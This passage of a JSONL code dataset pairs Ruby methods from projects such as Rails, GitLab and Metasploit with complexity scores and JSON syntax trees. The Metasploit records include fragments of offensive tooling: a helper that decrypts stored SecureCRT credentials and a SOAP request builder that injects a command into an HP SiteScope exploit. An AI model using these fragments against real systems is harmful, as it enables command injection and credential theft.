end","complexity_score":8.3,"ast_json":"{\"type\":\"send\",\"children\":[null,\"private_class_method\",{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"settings_load\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dump\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Marshal\"]},\"load\",{\"type\":\"lvar\",\"children\":[\"dump\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"settings\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"settings\"]},\"instance_variable_set\",{\"type\":\"sym\",\"children\":[\"@config_sources\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dump\"]},\"instance_variable_get\",{\"type\":\"sym\",\"children\":[\"@config_sources\"]}]},\"dup\"]}]}]}]}]}","id":"1f295ff8-fd70-4650-9de1-724d36c0069b"}
{"repo_name":"rails","file_path":"./repos/rails/actioncable/lib/action_cable/channel/test_case.rb","start_line":72,"raw_source":"def connection_identifier\n        @connection_identifier ||= connection_gid(identifiers.filter_map { |id| send(id.to_sym) if id })\n      end","complexity_score":12.9,"ast_json":"{\"type\":\"def\",\"children\":[\"connection_identifier\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@connection_identifier\"]},{\"type\":\"send\",\"children\":[null,\"connection_gid\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"identifiers\"]},\"filter_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"send\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},\"to_sym\"]}]},null]}]}]}]}]}","id":"9bbac845-6d87-49be-b4e1-19119759fb52"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/supports_feature_mixin.rb","start_line":113,"raw_source":"def types_supporting(feature)\n      subclasses_supporting(feature).map(&:name)\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"types_supporting\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"feature\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subclasses_supporting\",{\"type\":\"lvar\",\"children\":[\"feature\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}","id":"74322d5a-9dc9-45d3-92e8-ae35872c32d8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-http/spec/gitlab/http_v2/net_http_connect_patch_spec.rb","start_line":20,"raw_source":"def initialize\n        @server = WEBrick::HTTPServer.new(\n          Port: 0,\n          SSLEnable: true,\n          SSLCertName: [%w[CN localhost]],\n          SSLServerNameCallback: proc { |args| sni_callback(*args) },\n          Logger: WEBrick::Log.new('/dev/null'),\n          AccessLog: []\n        )\n\n        @server.mount_proc '/' do |_req, res|\n          res.body = 'Hello, world!'\n        end\n\n        Thread.new { @server.start }\n      end","complexity_score":13.1,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@server\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WEBrick\"]},\"HTTPServer\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"Port\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"SSLEnable\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"SSLCertName\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CN\"]},{\"type\":\"str\",\"children\":[\"localhost\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"SSLServerNameCallback\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[null,\"sni_callback\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"Logger\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WEBrick\"]},\"Log\"]},\"new\",{\"type\":\"str\",\"children\":[\"/dev/null\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"AccessLog\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@server\"]},\"mount_proc\",{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_req\"]},{\"type\":\"arg\",\"children\":[\"res\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body=\",{\"type\":\"str\",\"children\":[\"Hello, world!\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@server\"]},\"start\"]}]}]}]}","id":"de54f9fa-d450-4d69-9266-98f1244fac6b"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/abstract_controller/helpers.rb","start_line":28,"raw_source":"def _helpers\n      self.class._helpers\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"_helpers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"_helpers\"]}]}","id":"5363336c-9a81-49b6-8269-e78eeb16379a"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/organization.rb","start_line":101,"raw_source":"def generate_secret\n    self.secret = generated_random_secret if secret.blank?\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_secret\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"secret\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"secret=\",{\"type\":\"send\",\"children\":[null,\"generated_random_secret\"]}]},null]}]}","id":"cb48f9f2-739c-4769-9d23-c7357d8924b9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/api/grape_array_missing_coerce.rb","start_line":59,"raw_source":"def on_class(node)\n          @grape_api ||= grape_api_instance?(node)\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"on_class\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@grape_api\"]},{\"type\":\"send\",\"children\":[null,\"grape_api_instance?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}","id":"351867e2-daed-424d-8976-5031ab6d8631"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/text_formatting/filters/figure_wrapped_filter.rb","start_line":78,"raw_source":"def wrap_in_div(element)\n        element.wrap(\"<div>\") unless element.parent&.name == \"div\"\n\n        div = element.parent\n\n        div[\"class\"] = \"op-uc-figure--content\"\n      end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"wrap_in_div\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"element\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"element\"]},\"parent\"]},\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"div\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"element\"]},\"wrap\",{\"type\":\"str\",\"children\":[\"<div>\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"div\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"element\"]},\"parent\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"div\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"op-uc-figure--content\"]}]}]}]}","id":"c8a488df-9a5a-4813-9f3b-8e4ccf85fa1d"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/match/lib/match/storage/google_cloud_storage.rb","start_line":147,"raw_source":"def download\n        # Check if we already have a functional working_directory\n        return if @working_directory\n\n        # No existing working directory, creating a new one now\n        self.working_directory = Dir.mktmpdir\n\n        bucket.files.each do |current_file|\n          file_path = current_file.name # e.g. \"N8X438SEU2/certs/distribution/XD9G7QCACF.cer\"\n          download_path = File.join(self.working_directory, file_path)\n\n          FileUtils.mkdir_p(File.expand_path(\"..\", download_path))\n          UI.verbose(\"Downloading file from Google Cloud Storage '#{file_path}' on bucket #{self.bucket_name}\")\n          current_file.download(download_path)\n        end\n        UI.verbose(\"Successfully downloaded files from GCS to #{self.working_directory}\")\n      end","complexity_score":22.4,"ast_json":"{\"type\":\"def\",\"children\":[\"download\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@working_directory\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"working_directory=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"mktmpdir\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bucket\"]},\"files\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current_file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"file_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_file\"]},\"name\"]}]},{\"type\":\"lvasgn\",\"children\":[\"download_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"working_directory\"]},{\"type\":\"lvar\",\"children\":[\"file_path\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"mkdir_p\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"str\",\"children\":[\"..\"]},{\"type\":\"lvar\",\"children\":[\"download_path\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"verbose\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Downloading file from Google Cloud Storage '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_path\"]}]},{\"type\":\"str\",\"children\":[\"' on bucket \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"bucket_name\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_file\"]},\"download\",{\"type\":\"lvar\",\"children\":[\"download_path\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"verbose\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Successfully downloaded files from GCS to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"working_directory\"]}]}]}]}]}]}","id":"424c1597-962d-4430-9861-670333e8405a"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/models/query/results_filter_on_historic_data_spec.rb","start_line":69,"raw_source":"def move_work_package_to_project(work_package, project, time)\n    work_package.update project:, updated_at: time\n    work_package.journals.last.update_columns(created_at: time, updated_at: time)\n    work_package.reload\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"move_work_package_to_project\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package\"]},{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"time\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"lvar\",\"children\":[\"time\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"journals\"]},\"last\"]},\"update_columns\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"lvar\",\"children\":[\"time\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"lvar\",\"children\":[\"time\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"reload\"]}]}]}","id":"b4b05551-9a1b-49cc-af54-2493d4a3c63b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/securecrt.rb","start_line":54,"raw_source":"def blowfish_decrypt(secret_key, text)\n    cipher = OpenSSL::Cipher.new('bf-cbc').decrypt\n    cipher.padding = 0\n    cipher.key_len = secret_key.length\n    cipher.key = secret_key\n    cipher.iv = \"\\x00\" * 8\n    cipher.update(text) + cipher.final\n  end","complexity_score":12.9,"ast_json":"{\"type\":\"def\",\"children\":[\"blowfish_decrypt\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"secret_key\"]},{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cipher\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"Cipher\"]},\"new\",{\"type\":\"str\",\"children\":[\"bf-cbc\"]}]},\"decrypt\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cipher\"]},\"padding=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cipher\"]},\"key_len=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"secret_key\"]},\"length\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cipher\"]},\"key=\",{\"type\":\"lvar\",\"children\":[\"secret_key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cipher\"]},\"iv=\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\u0000\"]},\"*\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cipher\"]},\"update\",{\"type\":\"lvar\",\"children\":[\"text\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cipher\"]},\"final\"]}]}]}]}","id":"676b6f9f-2f51-4643-96c0-79f42adac3ac"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/hp_sitescope_issuesiebelcmd.rb","start_line":159,"raw_source":"def send_soap_request(command, timeout = 20)\n    res = send_request_cgi({\n      'uri' => normalize_uri(target_uri.path, 'services', 'APISiteScopeImpl'),\n      'method' => 'POST',\n      'ctype' => 'text/xml; charset=UTF-8',\n      'data' => get_soap_request.gsub(/MSF_COMMAND/, command), # To avoid rexml html encoding\n      'headers' => {\n        'SOAPAction' => '\"\"'\n      }\n    }, timeout)\n\n    return res\n  end","complexity_score":10.05,"ast_json":"{\"type\":\"def\",\"children\":[\"send_soap_request\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"command\"]},{\"type\":\"optarg\",\"children\":[\"timeout\",{\"type\":\"int\",\"children\":[20]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"services\"]},{\"type\":\"str\",\"children\":[\"APISiteScopeImpl\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"str\",\"children\":[\"text/xml; charset=UTF-8\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_soap_request\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"MSF_COMMAND\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"command\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SOAPAction\"]},{\"type\":\"str\",\"children\":[\"\\\"\\\"\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"timeout\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}]}","id":"66a47bfd-5ace-499a-8057-ba13b3e8a090"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/journey/visitors.rb","start_line":278,"raw_source":"def visit_STAR(node, seed)\n            seed.first << \"#{node.object_id} [label=\\\"*\\\"];\"\n            super\n          end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"visit_STAR\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"arg\",\"children\":[\"seed\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"seed\"]},\"first\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"object_id\"]}]},{\"type\":\"str\",\"children\":[\" [label=\\\"*\\\"];\"]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"321bec08-e280-4af2-8760-56e60820fa81"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/jobs/onceoff/fix_post_search_data_after_default_locale_rename.rb","start_line":5,"raw_source":"def execute_onceoff(args)\n      return if SearchIndexer::POST_INDEX_VERSION != 4\n\n      sql = <<~SQL\n        UPDATE post_search_data\n           SET locale = 'en'\n         WHERE post_id IN (\n                SELECT post_id\n                  FROM post_search_data\n                 WHERE locale = 'en_US'\n                 LIMIT 100000\n             )\n      SQL\n\n      loop { break if DB.exec(sql) == 0 }\n    end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_onceoff\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SearchIndexer\"]},\"POST_INDEX_VERSION\"]},\"!=\",{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"sql\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE post_search_data\\n\"]},{\"type\":\"str\",\"children\":[\"   SET locale = 'en'\\n\"]},{\"type\":\"str\",\"children\":[\" WHERE post_id IN (\\n\"]},{\"type\":\"str\",\"children\":[\"        SELECT post_id\\n\"]},{\"type\":\"str\",\"children\":[\"          FROM post_search_data\\n\"]},{\"type\":\"str\",\"children\":[\"         WHERE locale = 'en_US'\\n\"]},{\"type\":\"str\",\"children\":[\"         LIMIT 100000\\n\"]},{\"type\":\"str\",\"children\":[\"     )\\n\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loop\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"lvar\",\"children\":[\"sql\"]}]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"break\",\"children\":[]},null]}]}]}]}","id":"5a9846ca-3a57-4f08-8b55-4150d6c7ccd6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/repo_path.rb","start_line":102,"raw_source":"def self.find_design_management_repository(full_path)\n      find_project(full_path)&.design_management_repository\n    end","complexity_score":2.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"find_design_management_repository\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"full_path\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_project\",{\"type\":\"lvar\",\"children\":[\"full_path\"]}]},\"design_management_repository\"]}]}","id":"8fa0cf86-32fc-4c2a-a87b-bfdb1e00442c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/iax2/client.rb","start_line":154,"raw_source":"def send_new(call, number)\n    data = [ Constants::IAX_SUBTYPE_NEW ].pack('C')\n\n    cid = call.caller_number || self.caller_number\n    cid = number if cid == 'SELF'\n\n    data << create_ie(Constants::IAX_IE_CALLING_NUMBER, cid )\n    data << create_ie(Constants::IAX_IE_CALLING_NAME, call.caller_name || self.caller_name)\n    data << create_ie(Constants::IAX_IE_DESIRED_CODEC, [Constants::IAX_SUPPORTED_CODECS].pack(\"N\") )\n    data << create_ie(Constants::IAX_IE_ACTUAL_CODECS, [Constants::IAX_SUPPORTED_CODECS].pack(\"N\") )\n    data << create_ie(Constants::IAX_IE_USERNAME, self.username) if self.username\n    data << create_ie(Constants::IAX_IE_CALLED_NUMBER, number)\n    data << create_ie(Constants::IAX_IE_ORIGINAL_DID, number)\n\n    send_data( call, create_pkt( call.scall, call.dcall, call.timestamp, call.oseq, call.iseq, Constants::IAX_TYPE_IAX, data ) )\n  end","complexity_score":44.8,"ast_json":"{\"type\":\"def\",\"children\":[\"send_new\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"call\"]},{\"type\":\"arg\",\"children\":[\"number\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Constants\"]},\"IAX_SUBTYPE_NEW\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"C\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cid\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"caller_number\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"caller_number\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cid\"]},\"==\",{\"type\":\"str\",\"children\":[\"SELF\"]}]},{\"type\":\"lvasgn\",\"children\":[\"cid\",{\"type\":\"lvar\",\"children\":[\"number\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"create_ie\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Constants\"]},\"IAX_IE_CALLING_NUMBER\"]},{\"type\":\"lvar\",\"children\":[\"cid\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"create_ie\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Constants\"]},\"IAX_IE_CALLING_NAME\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"caller_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"caller_name\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"create_ie\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Constants\"]},\"IAX_IE_DESIRED_CODEC\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Constants\"]},\"IAX_SUPPORTED_CODECS\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"N\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"create_ie\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Constants\"]},\"IAX_IE_ACTUAL_CODECS\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Constants\"]},\"IAX_SUPPORTED_CODECS\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"N\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"create_ie\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Constants\"]},\"IAX_IE_USERNAME\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"username\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"create_ie\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Constants\"]},\"IAX_IE_CALLED_NUMBER\"]},{\"type\":\"lvar\",\"children\":[\"number\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"create_ie\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Constants\"]},\"IAX_IE_ORIGINAL_DID\"]},{\"type\":\"lvar\",\"children\":[\"number\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_data\",{\"type\":\"lvar\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"create_pkt\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"scall\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"dcall\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"timestamp\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"oseq\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"iseq\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Constants\"]},\"IAX_TYPE_IAX\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]}]}","id":"901a8848-8b90-4f05-9250-3a6254d27b04"}
